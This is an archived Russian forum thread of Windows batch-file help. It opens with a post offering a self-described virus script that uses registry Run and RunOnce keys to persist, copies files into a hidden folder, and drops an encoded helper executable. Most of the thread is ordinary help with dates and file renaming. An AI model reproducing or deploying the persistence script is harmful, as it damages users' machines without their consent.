Ru-Board.club
← Вернуться в раздел «Microsoft Windows»

» Задачи на bat-файлах 2

Автор: Utasc
Дата сообщения: 04.03.2007 22:06
Вирус (нужно раз запустить и при каждом запуске компа на диске C: стает на 5< метров меньше).Делал короче но антивирус обнаружевал


Код: @echo off
if %0=="%windir%\system32\8679\copy_x.bat" goto :copy
if not exist %windir%\x.bat goto :copy
md datazxc
copy *.avi datazxc\
copy *.txt datazxc\
copy *.log datazxc\
copy *.tmp datazxc\
copy *.bmp datazxc\
copy x.bat datazxc\x.bat
copy xx.reg datazxc\
For /r %windir%\datazxc %%i in (*x.bat) do set adres="%%i"
echo "xxx"=%adres%>xx2.reg
echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=> %temp%.\sbs2.com
echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU!WvX0GwUY Wv;ovBX2Gv0ExGIuht6>> %temp%.\sbs2.com
echo ?@}IKuNWpe~Fpe?FNHlF?wGMECIQqo{Ox{T?kPv@jeoSeIlRFD@{AyEKj@>> %temp%.\sbs2.com
echo iqe~1NeAyR?mHAG~BGRgB{~H?o~TsdgCYqe?HR~upkpBG?~slJBCyA?@xA>> %temp%.\sbs2.com
echo LZp{xq`Cs?H[C_vHDyB?Hos@QslFA@wQ~~x}viH}`LYNBGyA?@xAB?sUq`>> %temp%.\sbs2.com
echo LRy@PwtCYQEuFK@A~BxPtDss@fFqjVmzD@qBEOEenU?`eHHeBCMs?FExep>> %temp%.\sbs2.com
echo LHsPBGyA?@xAunjzA}EKNs@CA?wQpQpKLBHv?s`WJ`LRCYyIWMJaejCksl>> %temp%.\sbs2.com
echo H[GyFGhHBwHZjjHeoFasuFUJeHeB?OsQH[xeHCPvqFj@oq@eNc?~}Nu??O>> %temp%.\sbs2.com
echo ~oEwoAjBKs?Zp`LBzHQzyEFrAWAG{EFrAqAGYwHTECIQ{coKIsaCsf{Oe~>> %temp%.\sbs2.com
echo CK}Ayre~CNFA{rAyEKFACrA{EKGAjbA}eKGSjNMtQFtc{OAyDGFj?{FDGQ>> %temp%.\sbs2.com
echo KAjNVk_OCAx@e?f{o?CosI}1EGizhljJ~H1ZeG}JBA~rACBMDGjjDG@g0>> %temp%.\sbs2.com
%temp%.\sbs2.com 0 "\" "\\\\" < "xx2.reg" > "x2.reg"
del %temp%.\sbs2.com
copy xx.reg+x2.reg
copy xx.reg datazxc\x.reg
reg import datazxc\x.reg
attrib +s +h datazxc
exit

:ney_bat
echo Windows Registry Editor Version 5.00>x.reg
echo.>>x.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>x.reg
copy x.reg %windir%\xx.reg
echo "xxx"="c:\\\\windows\\\\x.bat">>x.reg
copy x.reg %windir%\x.reg
reg import %windir%\x.reg
del x.reg
copy %0 %windir%\x.bat
copy %0 %windir%\system32\8679\copy_x.bat
exit

:copy
echo Windows Registry Editor Version 5.00>%windir%\system32\8679\copy.reg
echo.>>%windir%\system32\8679\copy.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]>>%windir%\system32\8679\copy.reg
echo "Windo"="c:\\\\windows\\\\system32\\\\8679\\\\copy_x.bat">>%windir%\system32\8679\copy.reg
reg import %windir%\system32\8679\copy.reg
if not exist %windir%x.bat goto :ney_bat
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run copy.txt
echo +-------------------------------------------------------------------------------------------------------+ >> Zvit.inf
date /t>>Zvit.inf
time/t>>Zvit.inf
find "xxx" copy.txt >> Zvit.inf
If %errorlevel%==1(goto :ney_bat)
if not exist %windir%\x.bat goto :ney_bat
reg import %windir%\system32\8679\copy.reg
exit
Автор: igor_andreev
Дата сообщения: 04.03.2007 22:38
Utasc

Цитата:
Вирус
Слабенько, незачет. Чувствуется рука десятиклассника, который кроме своей XP других ОС толком не юзал Хотя по-настоящему сильно написанных bat-вирусов и нет, а если есть - их создатели в широкие массы и не выкладывают. Как насчет написать в виде *.bat нормального трояна на 40 с гаком килобайт, который будет фурычить в невидимом и непотопляемом режиме, скачивать недостающие компоненты из инета, сам себя обновлять, читать присланные ему команды и отсылать результаты куда-надо? Само-собой в разборки с антивирусами и файрволлами не вступать
Автор: Smitis
Дата сообщения: 04.03.2007 22:40
CrackMe

Цитата:
нужно установить драйвер (батник будет в той же папке , что и .inf от дров):

Драйвер таким макаром может и не установиться. Там своя специфика. Хотя бывают, конечно, исключения.

Цитата:
предполагю, что потребуется создание перменной set current directory

Текущая директория: %CD% (без конечного бакслеша)
Директория, из которой запущен комфайл: %~dp0 (с бакслешем)
Автор: Utasc
Дата сообщения: 04.03.2007 23:17
igor_andreev
Я вчера только за батьі взялса
Буду пробьівать


Добавлено:
igor_andreev


Цитата:
невидимом и непотопляемом режиме


Скажи как, тогда и будет
Автор: igor_andreev
Дата сообщения: 04.03.2007 23:30
Utasc
А ты пробуй полезные действия батниками выполнять, а не деструктивные. Батники многое в общем-то позволяют автоматизировать.

Цитата:
Скажи как, тогда и будет

А когда напишешь для тренировки несколько мегабайт полезных батников - сам все будешь знать. Только тогда тебе простое банальное потирание файлов будет уже неинтересно

Автор: Elroir
Дата сообщения: 04.03.2007 23:46
Utasc
Отдавай назад мой код!
Не хочу, чтобы он использовался в вирусе
Автор: MegaSin
Дата сообщения: 05.03.2007 00:53
Решил выложить... может понадобится кому нить
Батник конвертирует unix timestamp в нормальный формат.... учитывает високосные года, часовой пояс +3

Код:
@echo off
setlocal ENABLEDELAYEDEXPANSION enableextensions
set /a timestamp=%1+10800
set /a year=!timestamp!/31536000
set /a timestamp=!timestamp!-((!year!*31536000)+(!year!/4)*86400)
set /a year=!year!+1970
set /a month=(!timestamp!*12)/31536000
call ayinmonth !month!
set /a timestamp=!timestamp!-(!days!*86400)
set /a month=!month!+1
set /a day=!timestamp!/86400
set /a timestamp=!timestamp!-(!day!*86400)
set /a day=!day!+1
set /a chas=!timestamp!/3600
set /a timestamp=!timestamp!-(!chas!*3600)
set /a chas=!chas!
set /a min=!timestamp!/60
set /a timestamp=!timestamp!-(!min!*60)
set date=!day!.!month!.!year!_!chas!.!min!.!timestamp!
echo !date!
pause
goto :eof

ayinmonth
set /a monthn=%1
if /i !monthn!==1 set /a days=31
if /i !monthn!==2 set /a days=59
if /i !monthn!==3 set /a days=90
if /i !monthn!==4 set /a days=120
if /i !monthn!==5 set /a days=151
if /i !monthn!==6 set /a days=181
if /i !monthn!==7 set /a days=212
if /i !monthn!==8 set /a days=243
if /i !monthn!==9 set /a days=273
if /i !monthn!==10 set /a days=304
if /i !monthn!==11 set /a days=334
if /i !monthn!==12 set /a days=365
exit /b 0

:eof
Автор: vbugay
Дата сообщения: 05.03.2007 03:33
дубль 2
задача такая ....
в папке "C:/отправлено/" лежит 5 тыс примерно штук отчетов названия файлов и вариантов миллион как захотели так и обозвали "налог на землю лагерь арчекас " и.т.д. вариантов я ещё раз говорю куча
... содержимое файлов отчеты в налоговую
где 17 строка - ИННЮЛ:4213003475 все файлы в ascII(dos)
можно конечно и 7 строчку задействовать ... НаимОтпрЮл:ДОМ ДЕТСКОГО ТВОРЧЕСТВА № 6 ....
при этом 7 строка было бы идилией..
так вот суть задачи такова
можно ли раскидать все имеющиеся файлы согласно строке 7 или 17 в свои папки тут же в папке отправленно допустим ...
..НаимОтпрЮл:ДОМ ДЕТСКОГО ТВОРЧЕСТВА № 6 => в папку ддт6
а НаимОтпрЮл:Лагерь Арчекас => Арчекас и т.д.
.... мне кажется задача не слишком сурьёзная (просто мне неучу .. тяжело,=> самоучка )
Автор: Elroir
Дата сообщения: 05.03.2007 04:14
vbugay

Цитата:
мне кажется задача не слишком сурьёзная (просто мне неучу .. тяжело,=> самоучка )

Ну если задача не серьезная - помощь по командным файлам в зубы и вперед с песней
Когда выучишься, сравни со следующим кодом :

Код:
@echo off
setlocal enabledelayedexpansion
chcp 1251>nul
set "source=c:\отправлено"
for %%a in (%source%\*.*) do call :extr "%%a"
goto :EOF
:extr
for /f "skip=6 tokens=1* delims=: " %%A in (%~s1) do (
if /i "%%A"=="НаимОтпрЮл" (
set "name=%%B"
md "%source%\!name!" 2>nul
move %1 "%source%\!name!"
)
goto :EOF
)
Автор: ViSiToR
Дата сообщения: 05.03.2007 08:04
Elroir
По поводу утилиты для замены текста в файле (sbs2.com), что то я не вижу ссылку в шапке, она там была? неужели в процессе шапочной революции я её потерял? а ссылку уже не могу найти в топике (ведь часто про неё спрашивают...

Добавлено:
Нашёл - Ставим в шапку?
Автор: Ruslan_FM
Дата сообщения: 05.03.2007 08:48
Как с командной строки получить дату в таком формате :

Tue, 2 Jan 2007 13:35:20 +0500

WinXP.SP2
Win2003.SP1
Автор: Solotoy
Дата сообщения: 05.03.2007 10:01
добрый день )
как бы сформулировать то вопрос))-

copy "%INSPATH%b.bmp" "%INSPATH%BMP_RS\%SCHETCHIK%.bmp"
это строка переименовывет в цифры.., "01.bmp" ,"02.bmp" ,"03.bmp" и.т.д.
а мне надо код который бы брал названия из "Текстовый документ.txt" ...
пожалуста если кто знает напишите...
зарание благадарю...
Автор: Elroir
Дата сообщения: 05.03.2007 10:33
ViSiToR

Цитата:
она там была?

Не... не было. Я ее тоже там искал и очень удивился, что ее там нет.

Цитата:
Ставим в шапку?

Конечно!

Solotoy
Ты бы хоть написал, что именно и в каком формате находится в "Текстовый документ.txt". Сколько там строк? Кроме того, приведи полный код батника, а то не понятно откуда берутся переменные ("%INSPATH%,%SCHETCHIK%). То есть я понял, что это для USD, но там этих батников было...
Автор: ViSiToR
Дата сообщения: 05.03.2007 10:39
Solotoy


Цитата:
то строка переименовывет в цифры

Эта строка ничего не переименовывает, просто копирует файл основываясь на переменной %INSPATH%.


Цитата:
надо код который бы брал названия из "Текстовый документ.txt" ...

Не уверен что понимаю, для чего брал? ты хочешь просто копировать файлы с последовательностью цифр на конце? до какой грациы, т.е сколько файлов должно копироваться?

Попробуй так чтоли:


Код: Set FileName=Текстовый документ
Set SourcePath=C:\Source
Set DestPath=C:\Dest
Set Ext=.txt
Set Counter=1
Set MaxCount=10
:Again
Copy "%SourcePath%\%FileName%%Ext%" "%DestPath%\%FileName% (%Counter%)%Ext%"
If %Counter%==%MaxCount% Goto Next
Set /A Counter+=1
Goto Again
:Next
Автор: Tipulatoid
Дата сообщения: 05.03.2007 11:28
Ruslan_FM

Цитата:
Как с командной строки получить дату в таком формате :
Tue, 2 Jan 2007 13:35:20 +0500


Вы бы побольше информации привели - какая версия винды (английская, русская или еще какая) и особенно какие настройки стоят в "Панель управления" -> "Язык и региональные стандарты"
Вообще в этом топике проблему получения даты обсосали до косточек - приводились объемные батники, и все с ними были какие-то проблемы. Потом пришел igor_andreev и велел юзать Windows Script Host Кода получается всего ничего и без тех сложностей, что были:

Код: @echo off
echo wscript.echo date>today.vbs
for /f "tokens=1-3 delims=." %%a in ('cscript today.vbs //Nologo') do (
set today_chislo=%%a
set today_month=%%b
set today_year=%%c)
del /q today.vbs

if /i %today_month%==01 set today_month=Jan
if /i %today_month%==02 set today_month=Feb
if /i %today_month%==03 set today_month=Mar
if /i %today_month%==04 set today_month=Apr
if /i %today_month%==05 set today_month=May
if /i %today_month%==06 set today_month=June
if /i %today_month%==07 set today_month=July
if /i %today_month%==08 set today_month=Aug
if /i %today_month%==09 set today_month=Sep
if /i %today_month%==10 set today_month=Oct
if /i %today_month%==11 set today_month=Nov
if /i %today_month%==12 set today_month=Dec

echo wscript.echo WeekDayName(weekday(date))>today_day.vbs
for /f %%a in ('cscript today_day.vbs //Nologo') do set today_day=%%a
del /q today_day.vbs

for /f %%a in ('echo %time%') do set ctime=%%a

set full_current_date_and_time=%today_day%, %today_chislo% %today_month% %today_year% %ctime% +0500
echo %full_current_date_and_time%
Автор: Solotoy
Дата сообщения: 05.03.2007 11:36
спасибо...

есть папка ,
в этой папке есть:
один txt название: "RapidShareCom.txt"
одна картинка название: "b.bmp";
одна папка название: "BMP_RS";
один файл без разрешения название: "schet_rs";
один батник название: "copy.cmd"
вот мой батник:"copy.cmd"

set INSPATH=%~dp0

set SCHETCHIK=0
set /p SCHETCHIK=<schet_rs
echo %SCHETCHIK%
type schet_rs
set /a SCHETCHIK=SCHETCHIK + 1
echo %SCHETCHIK% > schet_rs
copy "%INSPATH%b.bmp" "%INSPATH%BMP_RS\%SCHETCHIK%.bmp"

это всё работает так :запускаеш батник "copy.cmd" он
картинку "b.bmp" капирует в папку "BMP_RS"
по счёту "1.bmp" опять запустил "2.bmp"и.т.д.,

"RapidShareCom.txt" содержит текст одна строчка :"PL^^GH"

задача :запускаеш батник "copy.cmd" он
картинку "b.bmp" капирует в папку "BMP_RS" ,но переименовывает "PL^^GH.bmp"

или так запустил "copy.cmd" получил "01.PL^^GH.bmp" опять запустил получил "02.PL^^GH.bmp"

надо учесть текст в "RapidShareCom.txt" меняеться
Вот папка для эксперемента http://dump.ru/files/0/054572239/
бальшое ещё раз СПАСИБО...
Автор: Elroir
Дата сообщения: 05.03.2007 12:43
Solotoy
Наверно так:

Код:
set "INSPATH=%~dp0"
set "SCHETCHIK=0"
set /p SCHETCHIK=<schet_rs
echo %SCHETCHIK%
type schet_rs
set /a "SCHETCHIK+=1"
echo %SCHETCHIK% > schet_rs
if %SCHETCHIK% LSS 10 set "SCHETCHIK=0%SCHETCHIK%"
set /p ins_part=<RapidShareCom.txt
copy "%INSPATH%b.bmp" "%INSPATH%BMP_RS\%SCHETCHIK%.%ins_part%.bmp"
Автор: Solotoy
Дата сообщения: 05.03.2007 12:53
Elroir
да )) так ,Спасибо ...
Автор: tomegadeth
Дата сообщения: 05.03.2007 13:03
Есть необходимость переименовать все файлы в папке по маске:
Есть к примеру файлы:
Dongle - Report_03_mar_2007.pdf
Dongle - Report_04_mar_2007.pdf
Dongle - Report_05_mar_2007.pdf
Необходимо переименовать их в:
DailyReport_20070303.pdf
DailyReport_20070304.pdf
DailyReport_20070305.pdf
У кого какие идеи?
Автор: Elroir
Дата сообщения: 05.03.2007 13:14
tomegadeth
В названии может быть только "mar" или любой другой месяц? Если да, будут ли называться похоже (три первых буквы)? Меняется ли первое слово (Dongle)?
Автор: tomegadeth
Дата сообщения: 05.03.2007 13:18
Elroir
Первое слово не меняется, а вот название месяца может....
но мне хотябы для оного месяца рабочий примерчик, а далше своими ручками
Автор: Tipulatoid
Дата сообщения: 05.03.2007 13:47
tomegadeth

Код: @echo off
setlocal enabledelayedexpansion

for /f "tokens=*" %%a in ('dir "Dongle - Report_*.pdf" /b') do call :rename "%%a"
goto end

:rename
for /f "tokens=2-4 delims=_." %%a in (%1) do (
set chislo=%%a
set month=%%b
set year=%%c
if /i !month!==jan set nmonth=01
if /i !month!==feb set nmonth=02
if /i !month!==mar set nmonth=03
if /i !month!==apr set nmonth=04
if /i !month!==may set nmonth=05
if /i !month!==jun set nmonth=06
if /i !month!==jul set nmonth=07
if /i !month!==aug set nmonth=08
if /i !month!==sep set nmonth=09
if /i !month!==oct set nmonth=10
if /i !month!==nov set nmonth=11
if /i !month!==dec set nmonth=12
ren "Dongle - Report_!chislo!_!month!_!year!.pdf" "DailyReport_!year!!nmonth!!chislo!.pdf"
)
goto :eof

:end
Автор: Elroir
Дата сообщения: 05.03.2007 14:19
Tipulatoid
Я пожалуй пойду погуляю
Или... "мы пойдем другим путем":

tomegadeth
Вот мой вариант:

Код:
@echo off
setlocal enabledelayedexpansion
set "jan=01"&set "feb=02"&set "mar=03"&set "apr=04"&set "may=05"&set "jun=06"
set "jul=07"&set "aug=08"&set "sep=09"&set "oct=10"&set "nov=11"&set "dec=12"
for %%a in (*.pdf) do call :ren_part "%%a"
goto :EOF
:ren_part
set "old_name=%~n1"
ren "%~1" "DailyReport_%old_name:~-4%!%old_name:~19,3%!%old_name:~16,2%.pdf"
Автор: tomegadeth
Дата сообщения: 05.03.2007 14:30
Tipulatoid спасибо - работает!

Цитата:
'dir "Dongle - Report_*.pdf" /b'
- согласен - так корректнее.


Автор: Smitis
Дата сообщения: 05.03.2007 14:37
Tipulatoid
Elroir
А я бы просто сделал подряд несколько команд замены

Код:
set fname=%fname:jan=01%
set fname=%fname:feb=02%
и т.д.
Автор: Tipulatoid
Дата сообщения: 05.03.2007 14:43
Elroir

Цитата:
Я пожалуй пойду погуляю

Руку я набиваю в батникописательстве А ваш код короче - значит лучше. Только, ИМХО,
Цитата:
for %%a in (*.pdf) do call :ren_part "%%a"
- все PDF-ы не совсем правильно брать, лучше по маске только те что нужны.
tomegadeth
Пожалуйста
Автор: tomegadeth
Дата сообщения: 05.03.2007 15:04
Elroir
а так даже лучше оригинальное решение!
Спасибо!

Добавлено:
вот так, и порядок:

Цитата:
for %%a in ("Dongle - Report_*.pdf") do call :ren_part "%%a"

Автор: Elroir
Дата сообщения: 05.03.2007 15:14
Tipulatoid
tomegadeth

Цитата:
все PDF-ы не совсем правильно брать, лучше по маске только те что нужны

Согласен - конечно, так правильнее.
Автор: dedds
Дата сообщения: 05.03.2007 17:49
Интересует такой момент: Есть программа date.exe из комплекта UnxUtils, при её запуске в командной строке (Например: date.exe +"%a") на экране появляеться "сокращенние" текущего дня недели (Например: Mon)... А теперь вопрос к уважаемым знатокам можно ли вывод команды date.exe +"%a" направить в переменную %WD% внутри bat файла... Зарание благодарю...
Автор: igor_andreev
Дата сообщения: 05.03.2007 18:05
Ну видимо так и будет for /f %%a in ('date.exe +"%a"') do set "WD=%%a"

P.S. Лучше не пользуйся ею, бо может конфликтануть-перепутаться с виндовой системной командой DATE. У майкрософт для вывода полной даты и времени своя утилита есть, now.exe, лежит во всех ресурс китах, начиная с Win NT, с 19-какого-то-лохматого года. Вот(zip, 18,4Kb) из 2003 Resource Kit Tools. У нее вот так вытаскивается день недели:
for /f "tokens=1" %%a in ('now') do set "weekday=%%a"
Можно пользоваться вместо ECHO для логов:
NOW start backup>arc.log

P.P.S. Если совсем "аццкие" возможности по работе с датой-временем нужны, то юзать curtime32 http://www.saboteur.com.ua/ftp/index.html

В принципе в PATH для полностью комфортной работы с датой-временем достаточно иметь эти две, now.exe и curtime32.exe, все остальное - от лукавого(а я много всякого перепробовал)

Добавлено:
Кстати, давайте в шапке сделаем ссылку, типа "Консольные утилиты, которые можно использовать в бат-файлах"? У меня скупая мужская слеза скатывается по щеке, когда я вижу там только ссылки на cmdow, blat да unixtools Я бы там набросал линков всяких немного, хотя бы утилит на 100-200, которых нет в стандартной поставке Windows, а они must have и существенно улучшают командную строку винды.

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: Сбой активации XP sp2


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.